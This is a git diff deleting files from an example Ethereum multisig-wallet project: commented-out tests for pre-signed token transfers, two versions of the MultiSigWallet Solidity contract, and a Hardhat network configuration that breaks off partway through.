-//         formattedAddress(instance.address),
-//         formattedAddress(alice.address),
-//         formattedAddress(bob.address),
-//         formattedInt(amount / 2),
-//         formattedInt(fee),
-//         formattedInt(nonce),
-//       ];
-//       // console.log(`components instance.address=${instance.address}, alice.address=${alice.address}, `)
-//       const vrs = ethUtil.ecsign(hashedTightPacked(components), Buffer.from(damien.pk, 'hex'));
-//       const sig = ethUtil.toRpcSig(vrs.v, vrs.r, vrs.s);
-//       await instance.methods.transferFromPreSigned(
-//           sig,
-//           alice.address,
-//           bob.address,
-//           amount / 2,
-//           fee,
-//           nonce).send(
-//           { from: charlie.address, gas:1000000 }
-//       );
-//
-//       aliceBalance = await instance.methods.balanceOf(alice.address).call();
-//       bobBalance = await instance.methods.balanceOf(bob.address).call();
-//       charlieBalance = await instance.methods.balanceOf(charlie.address).call();
-//       damienBalance = await instance.methods.balanceOf(damien.address).call();
-//
-//       assert.equal(Number(aliceBalance), Number(oldAliceBalance) - ((amount / 2) + fee));
-//       assert.equal(Number(bobBalance), Number(oldBobBalance) + (amount / 2));
-//       assert.equal(Number(charlieBalance), Number(oldCharlieBalance) + fee);
-//     });
-//
-//     it('Charlie increase allowance of Damien to spend 100 tokens on behalf of Alice to Bob (fee=10)', async () => {
-//       // give alice some props
-//       // console.log(`Balances: aliceBalance=${aliceBalance.toNumber()},bobBalance=${bobBalance.toNumber()},charlieBalance=${charlieBalance.toNumber()}`);
-//       const oldAliceBalance = aliceBalance;
-//       const oldCharlieBalance = charlieBalance;
-//       // nonce = await web3.eth.getTransactionCount(alice.address);
-//       nonce = await web3.eth.getTransactionCount(web3.eth.accounts[9]);
-//
-//       components = [
-//         Buffer.from('138e8da1', 'hex'),
-//         formattedAddress(instance.address),
-//         formattedAddress(damien.address),
-//         formattedInt(amount),
-//         formattedInt(fee),
-//         formattedInt(nonce),
-//       ];
-//
-//       const vrs = ethUtil.ecsign(hashedTightPacked(components), alicePrivateKey);
-//       const sig = ethUtil.toRpcSig(vrs.v, vrs.r, vrs.s);
-//       // console.log(`${instance.address},${to},${amount},${fee},${nonce},${sig}`);
-//       await instance.methods.increaseAllowancePreSigned(
-//           sig,
-//           damien.address,
-//           amount,
-//           fee,
-//           nonce).send(
-//           { from: charlie.address, gas:1000000 }
-//       );
-//
-//       aliceBalance = await instance.methods.balanceOf(alice.address).call();
-//       charlieBalance = await instance.methods.balanceOf(charlie.address).call();
-//       // console.log(`Balances: aliceBalance=${aliceBalance.toNumber()},bobBalance=${bobBalance.toNumber()},charlieBalance=${charlieBalance.toNumber()}`);
-//       assert.equal(Number(aliceBalance), Number(oldAliceBalance) - fee);
-//       assert.equal(Number(charlieBalance), Number(oldCharlieBalance) + fee);
-//       const allowance = await instance.methods.allowance(alice.address, damien.address).call();
-//       assert.equal(Number(allowance), amount);
-//     });
-//
-//     it('Charlie decreases allowance of Damien to spend 50 tokens on behalf of Alice to Bob (fee=10)', async () => {
-//       // give alice some props
-//       // console.log(`Balances: aliceBalance=${aliceBalance.toNumber()},bobBalance=${bobBalance.toNumber()},charlieBalance=${charlieBalance.toNumber()}`);
-//       const oldAliceBalance = aliceBalance;
-//       const oldCharlieBalance = charlieBalance;
-//       // nonce = await web3.eth.getTransactionCount(alice.address);
-//       nonce = await web3.eth.getTransactionCount(web3.eth.accounts[9]);
-//
-//       components = [
-//         Buffer.from('5229c56f', 'hex'),
-//         formattedAddress(instance.address),
-//         formattedAddress(damien.address),
-//         formattedInt(amount / 2),
-//         formattedInt(fee),
-//         formattedInt(nonce),
-//       ];
-//
-//       const vrs = ethUtil.ecsign(hashedTightPacked(components), alicePrivateKey);
-//       const sig = ethUtil.toRpcSig(vrs.v, vrs.r, vrs.s);
-//       // console.log(`${instance.address},${to},${amount},${fee},${nonce},${sig}`);
-//       await instance.methods.decreaseAllowancePreSigned(
-//           sig,
-//           damien.address,
-//           amount / 2,
-//           fee,
-//           nonce).send(
-//           { from: charlie.address, gas:1000000 }
-//       );
-//
-//       aliceBalance = await instance.methods.balanceOf(alice.address).call();
-//       charlieBalance = await instance.methods.balanceOf(charlie.address).call();
-//       // console.log(`Balances: aliceBalance=${aliceBalance.toNumber()},bobBalance=${bobBalance.toNumber()},charlieBalance=${charlieBalance.toNumber()}`);
-//       assert.equal(Number(aliceBalance), Number(oldAliceBalance) - fee);
-//       assert.equal(Number(charlieBalance), Number(oldCharlieBalance) + fee);
-//       const allowance = await instance.methods.allowance(alice.address, damien.address).call();
-//       assert.equal(Number(allowance), amount / 2);
-//     });
-//
-//     it('Charlie decreases allowance of Damien by 100 when only 50 are allowed is rejected', async () => {
-//       // give alice some props
-//       // console.log(`Balances: aliceBalance=${aliceBalance.toNumber()},bobBalance=${bobBalance.toNumber()},charlieBalance=${charlieBalance.toNumber()}`);
-//       const oldAliceBalance = aliceBalance;
-//       const oldCharlieBalance = charlieBalance;
-//       // nonce = await web3.eth.getTransactionCount(alice.address);
-//       nonce = await web3.eth.getTransactionCount(web3.eth.accounts[9]);
-//
-//       components = [
-//         Buffer.from('5229c56f', 'hex'),
-//         formattedAddress(instance.address),
-//         formattedAddress(damien.address),
-//         formattedInt(amount),
-//         formattedInt(fee),
-//         formattedInt(nonce),
-//       ];
-//
-//       const vrs = ethUtil.ecsign(hashedTightPacked(components), alicePrivateKey);
-//       const sig = ethUtil.toRpcSig(vrs.v, vrs.r, vrs.s);
-//       // console.log(`${instance.address},${to},${amount},${fee},${nonce},${sig}`);
-//       try {
-//         expect(await instance.methods.decreaseAllowancePreSigned(
-//             sig,
-//             damien.address,
-//             amount,
-//             fee,
-//             nonce).send(
-//             { from: charlie.address, gas:1000000 }
-//         )).to.be.rejectedWith(Error);
-//       } catch (error) {
-//         //
-//       }
-//     });
-//     it('Charlie tries to transfer more tokens than alice has to Bob (fee=10)', async () => {
-//
-//       // nonce = await web3.eth.getTransactionCount(alice.address);
-//       nonce = await web3.eth.getTransactionCount(web3.eth.accounts[9]);
-//
-//       components = [
-//         Buffer.from('0d98dcb1', 'hex'),
-//         formattedAddress(instance._address),
-//         formattedAddress(to),
-//         formattedInt(amount*1000000),
-//         formattedInt(fee),
-//         formattedInt(nonce),
-//       ];
-//
-//       const vrs = ethUtil.ecsign(hashedTightPacked(components), alicePrivateKey);
-//       const sig = ethUtil.toRpcSig(vrs.v, vrs.r, vrs.s);
-//       try {
-//         const tx = await instance.methods.transferPreSigned(sig,to,amount,fee,nonce).send({ from: charlie.address, gas:1000000});
-//         assert.equal(tx.receipt.status, '0x00');
-//       } catch (error) {
-//         // console.log(`error:${error}`);
-//       }
-//     });
-//
-//     it('Charlie tries to transfer tokens from alice has to no-one', async () => {
-//
-//       // nonce = await web3.eth.getTransactionCount(alice.address);
-//       nonce = await web3.eth.getTransactionCount(web3.eth.accounts[9]);
-//
-//       components = [
-//         Buffer.from('0d98dcb1', 'hex'),
-//         formattedAddress(instance._address),
-//         formattedAddress('0x0'),
-//         formattedInt(amount),
-//         formattedInt(fee),
-//         formattedInt(nonce),
-//       ];
-//
-//       const vrs = ethUtil.ecsign(hashedTightPacked(components), alicePrivateKey);
-//       const sig = ethUtil.toRpcSig(vrs.v, vrs.r, vrs.s);
-//       try {
-//         const tx = await instance.methods.transferPreSigned(sig,to,amount,fee,nonce).send({ from: charlie.address, gas:1000000});
-//         assert.equal(tx.receipt.status, '0x00');
-//       } catch (error) {
-//         // console.log(`error:${error}`);
-//       }
-//     });
-//
-//     it('Charlie tries to transfer tokens with bad signature from alice to bob', async () => {
-//
-//       // nonce = await web3.eth.getTransactionCount(alice.address);
-//       nonce = await web3.eth.getTransactionCount(web3.eth.accounts[9]);
-//
-//       components = [
-//         Buffer.from('0d98dcb1', 'hex'),
-//         formattedAddress(instance._address),
-//         formattedAddress(to),
-//         formattedInt(amount),
-//         formattedInt(fee),
-//         formattedInt(nonce),
-//       ];
-//
-//       const vrs = ethUtil.ecsign(hashedTightPacked(components), Buffer.from(alice.pk, 'hex'));
-//       const sig = ethUtil.toRpcSig(vrs.v, vrs.r, vrs.s);
-//       try {
-//         const tx = await instance.methods.transferPreSigned(sig,to,amount,fee,nonce).send({ from: charlie.address, gas:1000000});
-//         assert.equal(tx.receipt.status, '0x00');
-//       } catch (error) {
-//         // console.log(`error:${error}`);
-//       }
-//     });
-//   });
-// });
diff --git a/Example25-multi-sig-wallet/backup/MultiSigWallet.sol b/Example25-multi-sig-wallet/backup/MultiSigWallet.sol
deleted file mode 100644
index a19f22195..000000000
--- a/Example25-multi-sig-wallet/backup/MultiSigWallet.sol
+++ /dev/null
@@ -1,392 +0,0 @@
-pragma solidity ^0.4.15;
-
-
-/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
-/// @author Stefan George - <stefan.george@consensys.net>
-contract MultiSigWallet {
-
-    /*
-     *  Events
-     */
-    event Confirmation(address indexed sender, uint indexed transactionId);
-    event Revocation(address indexed sender, uint indexed transactionId);
-    event Submission(uint indexed transactionId);
-    event Execution(uint indexed transactionId);
-    event ExecutionFailure(uint indexed transactionId);
-    event Deposit(address indexed sender, uint value);
-    event OwnerAddition(address indexed owner);
-    event OwnerRemoval(address indexed owner);
-    event RequirementChange(uint required);
-
-    /*
-     *  Constants
-     */
-    uint constant public MAX_OWNER_COUNT = 50;
-
-    /*
-     *  Storage
-     */
-    mapping (uint => Transaction) public transactions;
-    mapping (uint => mapping (address => bool)) public confirmations;
-    mapping (address => bool) public isOwner;
-    address[] public owners;
-    uint public required;
-    uint public transactionCount;
-
-    struct Transaction {
-        address destination;
-        uint value;
-        bytes data;
-        bool executed;
-    }
-
-    /*
-     *  Modifiers
-     */
-    modifier onlyWallet() {
-        require(msg.sender == address(this));
-        _;
-    }
-
-    modifier ownerDoesNotExist(address owner) {
-        require(!isOwner[owner]);
-        _;
-    }
-
-    modifier ownerExists(address owner) {
-        require(isOwner[owner]);
-        _;
-    }
-
-    modifier transactionExists(uint transactionId) {
-        require(transactions[transactionId].destination != 0);
-        _;
-    }
-
-    modifier confirmed(uint transactionId, address owner) {
-        require(confirmations[transactionId][owner]);
-        _;
-    }
-
-    modifier notConfirmed(uint transactionId, address owner) {
-        require(!confirmations[transactionId][owner]);
-        _;
-    }
-
-    modifier notExecuted(uint transactionId) {
-        require(!transactions[transactionId].executed);
-        _;
-    }
-
-    modifier notNull(address _address) {
-        require(_address != 0);
-        _;
-    }
-
-    modifier validRequirement(uint ownerCount, uint _required) {
-        require(ownerCount <= MAX_OWNER_COUNT
-        && _required <= ownerCount
-        && _required != 0
-        && ownerCount != 0);
-        _;
-    }
-
-    /// @dev Fallback function allows to deposit ether.
-    function() public
-    payable
-    {
-        if (msg.value > 0)
-            emit Deposit(msg.sender, msg.value);
-    }
-
-    /*
-     * Public functions
-     */
-    /// @dev Contract constructor sets initial owners and required number of confirmations.
-    /// @param _owners List of initial owners.
-    /// @param _required Number of required confirmations.
-    constructor(address[] _owners, uint _required)
-    public
-    validRequirement(_owners.length, _required)
-    {
-        for (uint i=0; i<_owners.length; i++) {
-            require(!isOwner[_owners[i]] && _owners[i] != 0);
-            isOwner[_owners[i]] = true;
-        }
-        owners = _owners;
-        required = _required;
-    }
-
-    /// @dev Allows to add a new owner. Transaction has to be sent by wallet.
-    /// @param owner Address of new owner.
-    function addOwner(address owner)
-    public
-    onlyWallet
-    ownerDoesNotExist(owner)
-    notNull(owner)
-    validRequirement(owners.length + 1, required)
-    {
-        isOwner[owner] = true;
-        owners.push(owner);
-        emit OwnerAddition(owner);
-    }
-
-    /// @dev Allows to remove an owner. Transaction has to be sent by wallet.
-    /// @param owner Address of owner.
-    function removeOwner(address owner)
-    public
-    onlyWallet
-    ownerExists(owner)
-    {
-        isOwner[owner] = false;
-        for (uint i=0; i<owners.length - 1; i++)
-            if (owners[i] == owner) {
-                owners[i] = owners[owners.length - 1];
-                break;
-            }
-        owners.length -= 1;
-        if (required > owners.length)
-            changeRequirement(owners.length);
-        emit OwnerRemoval(owner);
-    }
-
-    /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
-    /// @param owner Address of owner to be replaced.
-    /// @param newOwner Address of new owner.
-    function replaceOwner(address owner, address newOwner)
-    public
-    onlyWallet
-    ownerExists(owner)
-    ownerDoesNotExist(newOwner)
-    {
-        for (uint i=0; i<owners.length; i++)
-            if (owners[i] == owner) {
-                owners[i] = newOwner;
-                break;
-            }
-        isOwner[owner] = false;
-        isOwner[newOwner] = true;
-        emit OwnerRemoval(owner);
-        emit OwnerAddition(newOwner);
-    }
-
-    /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
-    /// @param _required Number of required confirmations.
-    function changeRequirement(uint _required)
-    public
-    onlyWallet
-    validRequirement(owners.length, _required)
-    {
-        required = _required;
-        emit RequirementChange(_required);
-    }
-
-    /// @dev Allows an owner to submit and confirm a transaction.
-    /// @param destination Transaction target address.
-    /// @param value Transaction ether value.
-    /// @param data Transaction data payload.
-    /// @return Returns transaction ID.
-    function submitTransaction(address destination, uint value, bytes data)
-    public
-    returns (uint transactionId)
-    {
-        transactionId = addTransaction(destination, value, data);
-        confirmTransaction(transactionId);
-    }
-
-    /// @dev Allows an owner to confirm a transaction.
-    /// @param transactionId Transaction ID.
-    function confirmTransaction(uint transactionId)
-    public
-    ownerExists(msg.sender)
-    transactionExists(transactionId)
-    notConfirmed(transactionId, msg.sender)
-    {
-        confirmations[transactionId][msg.sender] = true;
-        emit Confirmation(msg.sender, transactionId);
-        executeTransaction(transactionId);
-    }
-
-    /// @dev Allows an owner to revoke a confirmation for a transaction.
-    /// @param transactionId Transaction ID.
-    function revokeConfirmation(uint transactionId)
-    public
-    ownerExists(msg.sender)
-    confirmed(transactionId, msg.sender)
-    notExecuted(transactionId)
-    {
-        confirmations[transactionId][msg.sender] = false;
-        emit Revocation(msg.sender, transactionId);
-    }
-
-    /// @dev Allows anyone to execute a confirmed transaction.
-    /// @param transactionId Transaction ID.
-    function executeTransaction(uint transactionId)
-    public
-    ownerExists(msg.sender)
-    confirmed(transactionId, msg.sender)
-    notExecuted(transactionId)
-    {
-        if (isConfirmed(transactionId)) {
-            Transaction storage txn = transactions[transactionId];
-            txn.executed = true;
-            if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
-                emit Execution(transactionId);
-            else {
-                emit ExecutionFailure(transactionId);
-                txn.executed = false;
-            }
-        }
-    }
-
-    // call has been separated into its own function in order to take advantage
-    // of the Solidity's code generator to produce a loop that copies tx.data into memory.
-    function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) {
-        bool result;
-        assembly {
-            let x := mload(0x40)   // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
-            let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
-            result := call(
-            sub(gas, 34710),   // 34710 is the value that solidity is currently emitting
-            // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
-            // callNewAccountGas (25000, in case the destination address does not exist and needs creating)
-            destination,
-            value,
-            d,
-            dataLength,        // Size of the input (in bytes) - this is what fixes the padding problem
-            x,
-            0                  // Output is ignored, therefore the output size is zero
-            )
-        }
-        return result;
-    }
-
-    /// @dev Returns the confirmation status of a transaction.
-    /// @param transactionId Transaction ID.
-    /// @return Confirmation status.
-    function isConfirmed(uint transactionId)
-    public
-    constant
-    returns (bool)
-    {
-        uint count = 0;
-        for (uint i=0; i<owners.length; i++) {
-            if (confirmations[transactionId][owners[i]])
-                count += 1;
-            if (count == required)
-                return true;
-        }
-    }
-
-    /*
-     * Internal functions
-     */
-    /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
-    /// @param destination Transaction target address.
-    /// @param value Transaction ether value.
-    /// @param data Transaction data payload.
-    /// @return Returns transaction ID.
-    function addTransaction(address destination, uint value, bytes data)
-    internal
-    notNull(destination)
-    returns (uint transactionId)
-    {
-        transactionId = transactionCount;
-        transactions[transactionId] = Transaction({
-            destination: destination,
-            value: value,
-            data: data,
-            executed: false
-            });
-        transactionCount += 1;
-        emit Submission(transactionId);
-    }
-
-    /*
-     * Web3 call functions
-     */
-    /// @dev Returns number of confirmations of a transaction.
-    /// @param transactionId Transaction ID.
-    /// @return Number of confirmations.
-    function getConfirmationCount(uint transactionId)
-    public
-    constant
-    returns (uint count)
-    {
-        for (uint i=0; i<owners.length; i++)
-            if (confirmations[transactionId][owners[i]])
-                count += 1;
-    }
-
-    /// @dev Returns total number of transactions after filers are applied.
-    /// @param pending Include pending transactions.
-    /// @param executed Include executed transactions.
-    /// @return Total number of transactions after filters are applied.
-    function getTransactionCount(bool pending, bool executed)
-    public
-    constant
-    returns (uint count)
-    {
-        for (uint i=0; i<transactionCount; i++)
-            if (   pending && !transactions[i].executed
-            || executed && transactions[i].executed)
-                count += 1;
-    }
-
-    /// @dev Returns list of owners.
-    /// @return List of owner addresses.
-    function getOwners()
-    public
-    constant
-    returns (address[])
-    {
-        return owners;
-    }
-
-    /// @dev Returns array with owner addresses, which confirmed transaction.
-    /// @param transactionId Transaction ID.
-    /// @return Returns array of owner addresses.
-    function getConfirmations(uint transactionId)
-    public
-    constant
-    returns (address[] _confirmations)
-    {
-        address[] memory confirmationsTemp = new address[](owners.length);
-        uint count = 0;
-        uint i;
-        for (i=0; i<owners.length; i++)
-            if (confirmations[transactionId][owners[i]]) {
-                confirmationsTemp[count] = owners[i];
-                count += 1;
-            }
-        _confirmations = new address[](count);
-        for (i=0; i<count; i++)
-            _confirmations[i] = confirmationsTemp[i];
-    }
-
-    /// @dev Returns list of transaction IDs in defined range.
-    /// @param from Index start position of transaction array.
-    /// @param to Index end position of transaction array.
-    /// @param pending Include pending transactions.
-    /// @param executed Include executed transactions.
-    /// @return Returns array of transaction IDs.
-    function getTransactionIds(uint from, uint to, bool pending, bool executed)
-    public
-    constant
-    returns (uint[] _transactionIds)
-    {
-        uint[] memory transactionIdsTemp = new uint[](transactionCount);
-        uint count = 0;
-        uint i;
-        for (i=0; i<transactionCount; i++)
-            if (   pending && !transactions[i].executed
-            || executed && transactions[i].executed)
-            {
-                transactionIdsTemp[count] = i;
-                count += 1;
-            }
-        _transactionIds = new uint[](to - from);
-        for (i=from; i<to; i++)
-            _transactionIds[i - from] = transactionIdsTemp[i];
-    }
-}
\ No newline at end of file
diff --git a/Example25-multi-sig-wallet/contracts/MultiSigWallet.sol b/Example25-multi-sig-wallet/contracts/MultiSigWallet.sol
deleted file mode 100644
index 82acd8c53..000000000
--- a/Example25-multi-sig-wallet/contracts/MultiSigWallet.sol
+++ /dev/null
@@ -1,394 +0,0 @@
-pragma solidity ^0.6.0;
-
-
-/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
-/// @author Stefan George - <stefan.george@consensys.net>
-contract MultiSigWallet {
-
-    /*
-     *  Events
-     */
-    event Confirmation(address indexed sender, uint indexed transactionId);
-    event Revocation(address indexed sender, uint indexed transactionId);
-    event Submission(uint indexed transactionId);
-    event Execution(uint indexed transactionId);
-    event ExecutionFailure(uint indexed transactionId);
-    event Deposit(address indexed sender, uint value);
-    event OwnerAddition(address indexed owner);
-    event OwnerRemoval(address indexed owner);
-    event RequirementChange(uint required);
-
-    /*
-     *  Constants
-     */
-    uint public MAX_OWNER_COUNT = 50;
-
-    /*
-     *  Storage
-     */
-    mapping (uint => Transaction) public transactions;
-    mapping (uint => mapping (address => bool)) public confirmations;
-    mapping (address => bool) public isOwner;
-    address[] public owners;
-    uint public required;
-    uint public transactionCount;
-
-    struct Transaction {
-        address destination;
-        uint value;
-        bytes data;
-        bool executed;
-    }
-
-    /*
-     *  Modifiers
-     */
-    modifier onlyWallet() {
-        require(msg.sender == address(this));
-        _;
-    }
-
-    modifier ownerDoesNotExist(address owner) {
-        require(!isOwner[owner]);
-        _;
-    }
-
-    modifier ownerExists(address owner) {
-        require(isOwner[owner]);
-        _;
-    }
-
-    modifier transactionExists(uint transactionId) {
-        require(transactions[transactionId].destination != address(0));
-        _;
-    }
-
-    modifier confirmed(uint transactionId, address owner) {
-        require(confirmations[transactionId][owner]);
-        _;
-    }
-
-    modifier notConfirmed(uint transactionId, address owner) {
-        require(!confirmations[transactionId][owner]);
-        _;
-    }
-
-    modifier notExecuted(uint transactionId) {
-        require(!transactions[transactionId].executed);
-        _;
-    }
-
-    modifier notNull(address _address) {
-        require(_address != address(0));
-        _;
-    }
-
-    modifier validRequirement(uint ownerCount, uint _required) {
-        require(ownerCount <= MAX_OWNER_COUNT
-        && _required <= ownerCount
-        && _required != 0
-            && ownerCount != 0);
-        _;
-    }
-
-    /// @dev Fallback function allows to deposit ether.
-    receive() external
-    payable
-    {
-        if (msg.value > 0)
-            emit Deposit(msg.sender, msg.value);
-    }
-
-    fallback()external {}
-
-    /*
-     * Public functions
-     */
-    /// @dev Contract constructor sets initial owners and required number of confirmations.
-    /// @param _owners List of initial owners.
-    /// @param _required Number of required confirmations.
-    constructor(address[] memory _owners, uint _required)
-    public
-    validRequirement(_owners.length, _required)
-    {
-        for (uint i=0; i<_owners.length; i++) {
-            require(!isOwner[_owners[i]] && _owners[i] != address(0));
-            isOwner[_owners[i]] = true;
-        }
-        owners = _owners;
-        required = _required;
-    }
-
-    /// @dev Allows to add a new owner. Transaction has to be sent by wallet.
-    /// @param owner Address of new owner.
-    function addOwner(address owner)
-    public
-    onlyWallet
-    ownerDoesNotExist(owner)
-    notNull(owner)
-    validRequirement(owners.length + 1, required)
-    {
-        isOwner[owner] = true;
-        owners.push(owner);
-        emit OwnerAddition(owner);
-    }
-
-    /// @dev Allows to remove an owner. Transaction has to be sent by wallet.
-    /// @param owner Address of owner.
-    function removeOwner(address owner)
-    public
-    onlyWallet
-    ownerExists(owner)
-    {
-        isOwner[owner] = false;
-        for (uint i=0; i<owners.length - 1; i++)
-            if (owners[i] == owner) {
-                owners[i] = owners[owners.length - 1];
-                owners.pop();
-                break;
-            }
-        if (required > owners.length)
-            changeRequirement(owners.length);
-        emit OwnerRemoval(owner);
-    }
-
-    /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
-    /// @param owner Address of owner to be replaced.
-    /// @param newOwner Address of new owner.
-    function replaceOwner(address owner, address newOwner)
-    public
-    onlyWallet
-    ownerExists(owner)
-    ownerDoesNotExist(newOwner)
-    {
-        for (uint i=0; i<owners.length; i++)
-            if (owners[i] == owner) {
-                owners[i] = newOwner;
-                break;
-            }
-        isOwner[owner] = false;
-        isOwner[newOwner] = true;
-        emit OwnerRemoval(owner);
-        emit OwnerAddition(newOwner);
-    }
-
-    /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
-    /// @param _required Number of required confirmations.
-    function changeRequirement(uint _required)
-    public
-    onlyWallet
-    validRequirement(owners.length, _required)
-    {
-        required = _required;
-        emit RequirementChange(_required);
-    }
-
-    /// @dev Allows an owner to submit and confirm a transaction.
-    /// @param destination Transaction target address.
-    /// @param value Transaction ether value.
-    /// @param data Transaction data payload.
-    /// @return transactionId transaction ID.
-    function submitTransaction(address destination, uint value, bytes memory data)
-    public
-    returns (uint transactionId)
-    {
-        transactionId = addTransaction(destination, value, data);
-        confirmTransaction(transactionId);
-    }
-
-    /// @dev Allows an owner to confirm a transaction.
-    /// @param transactionId Transaction ID.
-    function confirmTransaction(uint transactionId)
-    public
-    ownerExists(msg.sender)
-    transactionExists(transactionId)
-    notConfirmed(transactionId, msg.sender)
-    {
-        confirmations[transactionId][msg.sender] = true;
-        emit Confirmation(msg.sender, transactionId);
-        executeTransaction(transactionId);
-    }
-
-    /// @dev Allows an owner to revoke a confirmation for a transaction.
-    /// @param transactionId Transaction ID.
-    function revokeConfirmation(uint transactionId)
-    public
-    ownerExists(msg.sender)
-    confirmed(transactionId, msg.sender)
-    notExecuted(transactionId)
-    {
-        confirmations[transactionId][msg.sender] = false;
-        emit Revocation(msg.sender, transactionId);
-    }
-
-    /// @dev Allows anyone to execute a confirmed transaction.
-    /// @param transactionId Transaction ID.
-    function executeTransaction(uint transactionId)
-    public
-    ownerExists(msg.sender)
-    confirmed(transactionId, msg.sender)
-    notExecuted(transactionId)
-    {
-        if (isConfirmed(transactionId)) {
-            Transaction storage txn = transactions[transactionId];
-            txn.executed = true;
-            if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
-                emit Execution(transactionId);
-            else {
-                emit ExecutionFailure(transactionId);
-                txn.executed = false;
-            }
-        }
-    }
-
-    // call has been separated into its own function in order to take advantage
-    // of the Solidity's code generator to produce a loop that copies tx.data into memory.
-    function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) {
-        bool result;
-        assembly {
-            let x := mload(0x40)   // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
-            let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
-            result := call(
-            gas(),   // 34710 is the value that solidity is currently emitting
-            // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
-            // callNewAccountGas (25000, in case the destination address does not exist and needs creating)
-            destination,
-            value,
-            d,
-            dataLength,        // Size of the input (in bytes) - this is what fixes the padding problem
-            x,
-            0                  // Output is ignored, therefore the output size is zero
-            )
-        }
-        return result;
-    }
-
-    /// @dev Returns the confirmation status of a transaction.
-    /// @param transactionId Transaction ID.
-    /// @return Confirmation status.
-    function isConfirmed(uint transactionId)
-    public
-    view
-    returns (bool)
-    {
-        uint count = 0;
-        for (uint i=0; i<owners.length; i++) {
-            if (confirmations[transactionId][owners[i]])
-                count += 1;
-            if (count == required)
-                return true;
-        }
-    }
-
-    /*
-     * Internal functions
-     */
-    /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
-    /// @param destination Transaction target address.
-    /// @param value Transaction ether value.
-    /// @param data Transaction data payload.
-    /// @return transactionId Returns transaction ID.
-    function addTransaction(address destination, uint value, bytes memory data)
-    internal
-    notNull(destination)
-    returns (uint transactionId)
-    {
-        transactionId = transactionCount;
-        transactions[transactionId] = Transaction({
-        destination: destination,
-        value: value,
-        data: data,
-        executed: false
-        });
-        transactionCount += 1;
-        emit Submission(transactionId);
-    }
-
-    /*
-     * Web3 call functions
-     */
-    /// @dev Returns number of confirmations of a transaction.
-    /// @param transactionId Transaction ID.
-    /// @return count Number of confirmations.
-    function getConfirmationCount(uint transactionId)
-    public
-    view
-    returns (uint count)
-    {
-        for (uint i=0; i<owners.length; i++)
-            if (confirmations[transactionId][owners[i]])
-                count += 1;
-    }
-
-    /// @dev Returns total number of transactions after filers are applied.
-    /// @param pending Include pending transactions.
-    /// @param executed Include executed transactions.
-    /// @return count Total number of transactions after filters are applied.
-    function getTransactionCount(bool pending, bool executed)
-    public
-    view
-    returns (uint count)
-    {
-        for (uint i=0; i<transactionCount; i++)
-            if (   pending && !transactions[i].executed
-            || executed && transactions[i].executed)
-                count += 1;
-    }
-
-    /// @dev Returns list of owners.
-    /// @return List of owner addresses.
-    function getOwners()
-    public
-    view
-    returns (address[] memory)
-    {
-        return owners;
-    }
-
-    /// @dev Returns array with owner addresses, which confirmed transaction.
-    /// @param transactionId Transaction ID.
-    /// @return _confirmations Returns array of owner addresses.
-    function getConfirmations(uint transactionId)
-    public
-    view
-    returns (address[] memory _confirmations)
-    {
-        address[] memory confirmationsTemp = new address[](owners.length);
-        uint count = 0;
-        uint i;
-        for (i=0; i<owners.length; i++)
-            if (confirmations[transactionId][owners[i]]) {
-                confirmationsTemp[count] = owners[i];
-                count += 1;
-            }
-        _confirmations = new address[](count);
-        for (i=0; i<count; i++)
-            _confirmations[i] = confirmationsTemp[i];
-    }
-
-    /// @dev Returns list of transaction IDs in defined range.
-    /// @param from Index start position of transaction array.
-    /// @param to Index end position of transaction array.
-    /// @param pending Include pending transactions.
-    /// @param executed Include executed transactions.
-    /// @return _transactionIds Returns array of transaction IDs.
-    function getTransactionIds(uint from, uint to, bool pending, bool executed)
-    public
-    view
-    returns (uint[] memory _transactionIds)
-    {
-        uint[] memory transactionIdsTemp = new uint[](transactionCount);
-        uint count = 0;
-        uint i;
-        for (i=0; i<transactionCount; i++)
-            if (   pending && !transactions[i].executed
-            || executed && transactions[i].executed)
-            {
-                transactionIdsTemp[count] = i;
-                count += 1;
-            }
-        _transactionIds = new uint[](to - from);
-        for (i=from; i<to; i++)
-            _transactionIds[i - from] = transactionIdsTemp[i];
-    }
-}
\ No newline at end of file
diff --git a/Example25-multi-sig-wallet/hardhat.config.js b/Example25-multi-sig-wallet/hardhat.config.js
deleted file mode 100644
index 215555d35..000000000
--- a/Example25-multi-sig-wallet/hardhat.config.js
+++ /dev/null
@@ -1,59 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-const fs = require("fs");
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-function mnemonic() {
-
- return fs.readFileSync("./sk.txt").toString().trim();
-
-}
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: "0.8.0",
-  networks: {
-    localhost: {
-      url: "http://localhost:8545",
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: "https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-      mnemonic()
-      ],
-    },
-    kovan: {
-      url: "https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    mainnet: {
